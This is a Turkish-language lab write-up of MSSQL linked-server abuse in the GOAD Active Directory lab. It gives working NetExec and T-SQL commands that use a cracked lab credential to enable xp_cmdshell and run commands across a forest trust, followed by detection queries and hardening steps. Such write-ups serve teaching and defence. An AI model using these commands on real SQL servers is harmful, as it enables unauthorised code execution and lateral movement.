Saldırı Yüzeyi: Gizli Güven Sınırları Olarak Veritabanı Bağlantıları
Active Directory sızma testlerinde operatörler çoğu zaman yalnızca LDAP, Kerberos ve Domain Controller saldırı yollarına odaklanır. Oysa etki alanına üye sunucularda çalışan veritabanı servisleri, etki alanı ve orman sınırlarını aşan bağımsız kimlik doğrulama köprüleri kurar. Bu köprüler envanterde nadiren görünür; çünkü bir uygulamanın çalışması için kurulmuşlardır ve güvenlik açısından çoğu zaman gözden kaçarlar.
Microsoft SQL Server mimarisinde Linked Server (Bağlantılı Sunucu), yerel bir SQL örneğinin harici bir veritabanı örneğine karşı dağıtık sorgular ve uzak yordam çağrıları (RPC) yürütmesini sağlar. Buradaki kritik nokta şudur: SQL Server, istemcinin orijinal Kerberos kimliğini uzak hedefte kullanılan kimlik bilgisinden bilinçli olarak ayırır. Bir linked server sabit bir login eşlemesiyle yapılandırıldığında süreç şöyle işler:
- İstemci, geçerli domain kimlik bilgileriyle yerel SQL örneğinde oturum açar.
- İstemci, bağlantılı sunucuyu hedefleyen bir sorgu veya RPC isteği gönderir.
- Yerel SQL Server süreci,
sys.linked_loginstablosunda tanımlanmış statik kimlik bilgilerini (örneğin yüksek yetkilisahesabını) kullanarak hedef sunucuya bağımsız bir bağlantı kurar. - Uzak sunucu, komutu eşlenen login’in güvenlik bağlamında çalıştırır. Böylece Active Directory orman güven sınırları, SID filtering ve Kerberos bilet doğrulaması tamamen devre dışı kalır.
Dördüncü adım işin özüdür: Uzak sunucu, gelen bağlantının hangi ormana ait olduğunu ya da istemcinin gerçek kimliğini görmez. Yalnızca yapılandırılmış SQL login’inin güvenlik bağlamını uygular. Bu yüzden bir ormanda ele geçirilen sıradan bir hesap, başka bir ormanda hiçbir kullanıcı barındırmadan oradaki veritabanı üzerinden işletim sistemi komutu çalıştırabilir.
GOAD ortamında bu mimari tam olarak bunu mümkün kılar: north.sevenkingdoms.local etki alanında ele geçirilen bir servis hesabı, Active Directory orman güveni üzerinden kimlik doğrulamadan essos.local etki alanındaki bir sunucuda essos domain principal’ı olarak işletim sistemi komutları çalıştırır.
1. Aşama: Yerel Veritabanı Dayanağı ve Yetki Doğrulama
GOAD değerlendirmesinin ikinci aşamasında, Kerberoast edilebilir bir Service Principal Name’in (CIFS/thewall.north.sevenkingdoms.local) çevrimdışı kırılması jon.snow:iknownothing kimlik bilgisini verdi. Hesap dosya paylaşımı servisi için hazırlanmış olsa da aynı hesap, üye sunucu CASTELBLACK (192.168.56.22) üzerindeki SQL Server örneğinde sysadmin sunucu rolüne sahipti. Bu ayrıntı, hesabı veritabanı tarafında beklenmedik ölçüde güçlü kılar; çünkü sysadmin yalnızca veritabanı okumakla kalmaz, örnek üzerinde neredeyse tam kontrol anlamına gelir.
Tabular Data Stream (TDS, TCP port 1433) protokolü üzerinden NetExec (nxc) ile bağlanmak yüksek yetkili erişimi doğrular:
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local
MSSQL 192.168.56.22 1433 CASTELBLACK [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
Çıktıdaki (Pwn3d!) ifadesi, hesabın sysadmin sabit sunucu rolüne üye olduğunu gösterir. Bu rol, xp_cmdshell gibi genişletilmiş yordamları açma ve sunucu yapılandırmasını değiştirme yetkisini de beraberinde getirir. T-SQL üzerinden doğrulama şu sorgularla yapılır:
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Returns 1 (True)
SELECT SYSTEM_USER, USER_NAME(); -- Returns 'NORTH\jon.snow', 'dbo'
2. Aşama: Bağlantılı Sunucu Topolojisinin Keşfi
İzleyen veritabanı bağlantılarını bulmak için SQL Server’ın meta veri katalog görünümlerini (sys.servers ve sys.linked_logins) sorgularız. Bu iki görünüm birlikte, hangi uzak örneklerin tanımlı olduğunu ve hangi yerel login’in hangi uzak login’e eşlendiğini gösterir:
-- Enumerate configured remote and linked servers
SELECT server_id, name, product, provider, data_source, is_linked, is_remote_login, is_rpc_out_enabled
FROM sys.servers
WHERE is_linked = 1;
-- Enumerate credential mappings for linked instances
SELECT s.name AS linked_server, l.remote_name, l.uses_self_credential
FROM sys.servers s
JOIN sys.linked_logins l ON s.server_id = l.server_id;
Aynı numaralandırmayı NetExec’in enum_links modülüyle de çalıştırabilirsin:
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M enum_links
ENUM_LINKS [+] Linked servers found:
ENUM_LINKS [*] - BRAAVOS
ENUM_LINKS [*] Linked server: BRAAVOS
ENUM_LINKS [*] - Local login: NORTH\jon.snow
ENUM_LINKS [*] - Remote login: sa
Çıktı iki önemli şey söyler: BRAAVOS adlı bir linked server vardır ve NORTH\jon.snow yerel login’i uzak tarafta sa ile eşlenmiştir. Yani bağlantı, çağıranın kimliğini karşı tarafa taşımaz; sabit ve çok yetkili bir login’e geçer.
Protokol Mekaniği: Uzak Yordam Çağrısı (RPC) Yapılandırması
sys.servers görünümündeki iki öznitelik, komutların bağlantılı sunucuya nasıl yönlendirilebileceğini belirler:
is_data_access_enabled:OPENQUERY()fonksiyonu kullanılarak dağıtık SQL sorgularının çalıştırılmasına izin verir.is_rpc_out_enabled:EXEC (...) AT [ServerName]sözdizimi kullanılarak doğrudan RPC komutlarının çalıştırılmasına izin verir.
Bu iki bayrağın anlamı pratiktir: Yalnızca veri erişimi açıksa uzak taraftan sorgu sonucu okuyabilirsin; RPC out da açıksa uzak örnekte prosedür çağırabilir, hatta xp_cmdshell gibi genişletilmiş yordamları tetikleyebilirsin. Bu ortamda BRAAVOS (192.168.56.23, essos.local ormanında) is_rpc_out_enabled = 1 ile yapılandırılmıştır ve NORTH\jon.snow üzerinden gelen tüm sorguları uzaktaki sa (System Administrator) SQL login’ine eşler. Yani north tarafında sıradan bir domain kullanıcısıyken, essos tarafında veritabanının en yetkili hesabıyla konuşursun.
3. Aşama: xp_cmdshell ile Yerel Kod Çalıştırma
Bağlantı üzerinden atlamadan önce, CASTELBLACK üzerinde işletim sistemi komutu çalıştırma yeteneğini genişletilmiş saklı yordam xp_cmdshell ile doğrularız. Üretim ortamlarında xp_cmdshell varsayılan olarak kapalıdır; ancak sysadmin rolündeki kullanıcılar bunu talep üzerine yeniden açabilir:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
NetExec üzerinden komut yürütme:
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -x "whoami /all"
MSSQL [+] Executed command via mssqlexec
MSSQL north\sql_svc
Servis Kimliğinin Önemi
Komut north\sql_svc güvenlik bağlamında çalışır. Buradaki ayrıntı, sürecin hangi kimlikle başlatıldığıdır. SQL Server, yerel bir sanal servis kimliği (NT SERVICE\MSSQLSERVER) veya makine hesabı yerine bir domain kullanıcısıyla çalışacak şekilde yapılandırıldığı için bu fark kritik hale gelir:
- Başlatılan alt süreç,
north.sevenkingdoms.localiçinde kimlik veren geçerli bir Kerberos biletine sahiptir. xp_cmdshellüzerinden oluşturulan tüm süreçler domain ağ erişimini devralır; bu sayede SMB paylaşımları, iç LDAP dizinleri ve Kerberos KDC’leriyle kimlik doğrulamalı iletişim kurulabilir.
Kısacası xp_cmdshell, yalnızca yerel bir komut kabuğu değil, domain içinde kimlik doğrulayabilen bir süreç açar. Saldırganın elinde artık makinenin ötesine geçen bir kimlik vardır.
4. Aşama: essos.local Ormanına Bağlantılı Yürütme
BRAAVOS sa hesabına eşlendiği için komutlar bağlantı üzerinden uzakta çalıştırılabilir. Ancak önce uzak örnekte xp_cmdshell açık olmalıdır; bunu RPC bağlantısından bir yapılandırma toplu işi göndererek yaparız:
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
-M link_enable_cmdshell -o ACTION=enable LINKED_SERVER=BRAAVOS
LINK_ENABLE [*] Enabling xp_cmdshell on BRAAVOS. Current value: False
LINK_ENABLE [+] xp_cmdshell enabled on BRAAVOS
Perde arkasında şu dağıtık T-SQL ifadesi çalışır:
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [BRAAVOS];
Burada sp_configure çağrısının yerel örnekte değil BRAAVOS üzerinde yürütüldüğünü unutma; yani yapılandırma değişikliği doğrudan hedef ormanda gerçekleşir. Etkinleştirmenin ardından BRAAVOS üzerinde keyfi işletim sistemi komutları çalıştırılabilir:
$ nxc mssql 192.168.56.22 -u jon.snow -p iknownothing -d north.sevenkingdoms.local \
-M link_xpcmd -o LINKED_SERVER=BRAAVOS CMD="whoami"
LINK_XPCMD [*] Running command on BRAAVOS: whoami
LINK_XPCMD [+] Executed command via linked server
LINK_XPCMD essos\sql_svc
Komut essos\sql_svc kimliğini döner. north.sevenkingdoms.local içindeki kimliği doğrulanmış bir kullanıcı, hedef ormanda hiçbir kullanıcı hesabı, hash veya Kerberos bileti olmadan essos.local içindeki Tier-1 bir sunucuda uzaktan kod çalıştırmıştır. Bu, klasik “orman güveni üzerinden geçiş” anlatısından farklıdır: Geçişi yapan şey Kerberos değil, uygulama katmanındaki sabit SQL login eşlemesidir.
jon.snow, castelblack üzerinde sysadmin yetkisine sahip olup north\sql_svc olarak kod çalıştırır ve sa eşlemeli linked server üzerinden sıçrayarak braavos üzerinde essos\sql_svc olarak komut yürütür.Savunma Mühendisliği ve Tespit Telemetrisi
Adli Bilişim İzleri ve Telemetri Matrisi
Bu saldırı zinciri tek bir olayda değil, birkaç farklı telemetri kaynağında iz bırakır. Aşağıdaki tablo, hangi kaynağa ve hangi alana bakman gerektiğini özetler:
| Kaynak | Olay Kimliği (Event ID) | Açıklama | Telemetri Bağlamı |
|---|---|---|---|
| SQL Server | 15457 | Yapılandırma seçeneği değiştirildi | Uygulama günlüğünde show advanced options ve xp_cmdshell değerlerinin değiştirilmesini kaydeder. |
| Sysmon | 1 | Süreç Oluşturma (Process Creation) | Ana süreç sqlservr.exe tarafından alt kabuk süreçlerinin (cmd.exe, powershell.exe) başlatılması. |
| Windows Security | 4624 | Başarılı Oturum Açma | BRAAVOS üzerinde, CASTELBLACK IP adresinden port 1433 üzerinden gelen Tip 3 (Network) oturumu. Active Directory referans bileti içermez. |
| SQL Server Audit | SCHEMA_OBJECT_ACCESS | Saklı Yordam Yürütme | xp_cmdshell veya sp_linkedservers yürütülmesini takip eder. |
// KQL Query: Detect cmd.exe or powershell.exe Spawned by SQL Server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "sqlservr.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName
Güvenlik Sıkılaştırma ve İyileştirme Protokolleri
- En Düşük Yetkili Eşleme Kuralı: Uzak bağlantılı sunucu bağlantılarını asla
saile eşlemeyin. Bunun yerine uzak örnekte, yalnızca ihtiyaç duyulan tablolara erişen ve yalnızcaSELECTveya dar kapsamlı saklı yordamlardaEXECUTEyetkisi olan özel bir SQL login’i oluşturun. Böylece bir linked server ele geçirilse bile etki alanı veritabanının tamamına yayılmaz. - Uzak RPC Out Özelliğini Kapatın: Raporlama için yalnızca dağıtık sorgular gerekiyorsa RPC out çağrılarını devre dışı bırakın:
EXEC sp_serveroption @server = 'BRAAVOS', @optname = 'rpc out', @optvalue = 'FALSE'; - Servis Hesaplarını gMSA Mimarisine Geçirin: Veritabanı servis hesaplarını standart domain kullanıcılarından group Managed Service Account (gMSA) yapısına taşıyın. Bu yapılandırma parola kırma (Kerberoasting) saldırılarını engeller ve etkileşimli ya da ağ belirteci üretimini sınırlar.
- Uygulama Login’lerini
sysadminRolünden Çıkarın: Uygulama servis hesaplarının ve geliştirici hesaplarınınsysadminsabit sunucu rolünde bulunmadığını doğrulayın. Bu roller genellikle kolaylık için verilir ve fark edilmeden kalıcı bir yükseltme yolu yaratır.
Kanıt ve sınırlar
MSSQL linked-server numaralandırması, EXECUTE AS LOGIN ile kimlik bürünme, xp_cmdshell etkinleştirmesi ve çift yönlü SRV02 ↔ SRV03 ormanlar arası sıçrama, izole GOAD laboratuvarı (192.168.56.22 ve 192.168.56.23) içinde yürütülmüştür. Tüm veritabanı login’leri ve servis hesapları GOAD’ın önceden hazırlanmış SQL Server örneklerine aittir. Buradaki sonuçlar, sabit bir sa eşlemesi ve açık RPC out gibi kasıtlı laboratuvar yapılandırmalarına dayanır; her linked server kurulumunun aynı şekilde istismar edilebileceği anlamına gelmez.
Kaynaklar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- NetSPI, SQL Server Link Crawling with PowerUpSQL: netspi.com
- NetExec Documentation, MSSQL Module: www.netexec.wiki
- HackTricks, Pentesting MSSQL: book.hacktricks.xyz
- Microsoft, sp_addlinkedserver Documentation: learn.microsoft.com
- MITRE ATT&CK, Remote Services (T1021): attack.mitre.org/techniques/T1021/
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

